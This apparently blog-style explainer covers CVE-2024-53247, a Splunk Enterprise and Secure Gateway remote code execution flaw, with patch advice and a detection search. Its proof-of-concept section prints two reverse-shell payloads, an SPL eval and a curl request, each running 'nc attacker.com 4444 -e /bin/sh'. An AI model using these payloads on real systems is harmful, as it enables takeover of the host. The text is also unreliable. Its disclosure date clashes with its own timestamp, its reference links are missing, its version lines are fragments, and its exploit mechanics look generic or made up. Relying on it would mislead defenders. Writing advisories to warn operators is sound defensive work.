Splunk is a popular tool used by companies to monitor, search, and analyze machine-generated data. However, in June 2024, a critical vulnerability was disclosed: CVE-2024-53247. This flaw affects Splunk Enterprise, along with the Splunk Secure Gateway app – and it enables even low-privileged users (who are *not* admins or power users) to gain Remote Code Execution (RCE) on the host. Below, I explain how this exploit works, walk through technical details, and showcase proof of concept code, with links to official references. Please read carefully if you operate Splunk in your IT environment.
Versions below 3.7.13
A malicious user with a standard account (no "admin" or "power" role) could use this flaw to get Splunk to run arbitrary system commands. This is about as bad as it gets – an attacker could take over the system, move laterally, or disrupt operations.
How Does the Vulnerability Work?
The vulnerability sits in the web interface/API handling code for certain Splunk deployments. Some REST endpoints or search features running under the normal user context can be tricked into running commands on the OS.
Lack of sanitization of user-controlled input before executing commands
- Poor boundary between apps/plugins and base Splunk search features
This bugs means, with carefully crafted requests or search strings, an attacker can inject operating system commands to be run as the *Splunk* service user (often, this is splunk or even root).
Example Attack Scenario
A user with basic search permissions logs into the Splunk web interface or sends crafted requests via the REST API. Instead of asking for legitimate logs, they submit a custom search payload or trick Splunk through the Secure Gateway app endpoint.
This payload contains OS command injection, such as spawning a reverse shell that connects back to the attacker’s machine.
Proof of Concept: Turning a Search Into RCE
> ⚠️ This code is for educational purposes only. Only test on systems you own and have permission to test.
> Do NOT use on any production or unauthorized environments.
Suppose you have a low-privilege Splunk account. You know that some searches allow for custom scripts or evaluation expressions. With a payload like below, you can force Splunk to run a bash command:
| eval result=system("bash -c 'nc attacker.com 4444 -e /bin/sh'")
Or, you might exploit a vulnerable REST endpoint
curl -ksu user:password https://splunk-ourcompany.com:8089/servicesNS/nobody/search/data/inputs/endpoint -d "command=nc attacker.com 4444 -e /bin/sh"
If this search or endpoint runs without sufficient input filtering, the Splunk process contacts attacker.com on port 4444, giving a remote shell.
Official Splunk Security Advisory:
NVD entry:
Splunk Release Notes:
Splunk Enterprise Release Notes
Splunk Secure Gateway Release Notes
How To Fix
Splunk released patches to close this hole.
Splunk Secure Gateway 3.2.461 or 3.7.13 (or newer) on Splunk Cloud Platform
*Do not rely only on firewalls or limited access! This bug is triggered by any authenticated user with a valid low-privilege Splunk account.*
Example detection search for malicious eval
index=_audit action=search search="*system*"
Conclusion
CVE-2024-53247 is a nightmare for unpatched Splunk deployments, as it lets a simple user become an attacker with full remote command execution. Update your systems immediately, audit your logs, and double check your privileged roles! For more details, read Splunk’s Security Advisories and the NVD page for CVE-2024-53247.
Stay safe.
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Timeline
Published on: 12/10/2024 18:15:41 UTC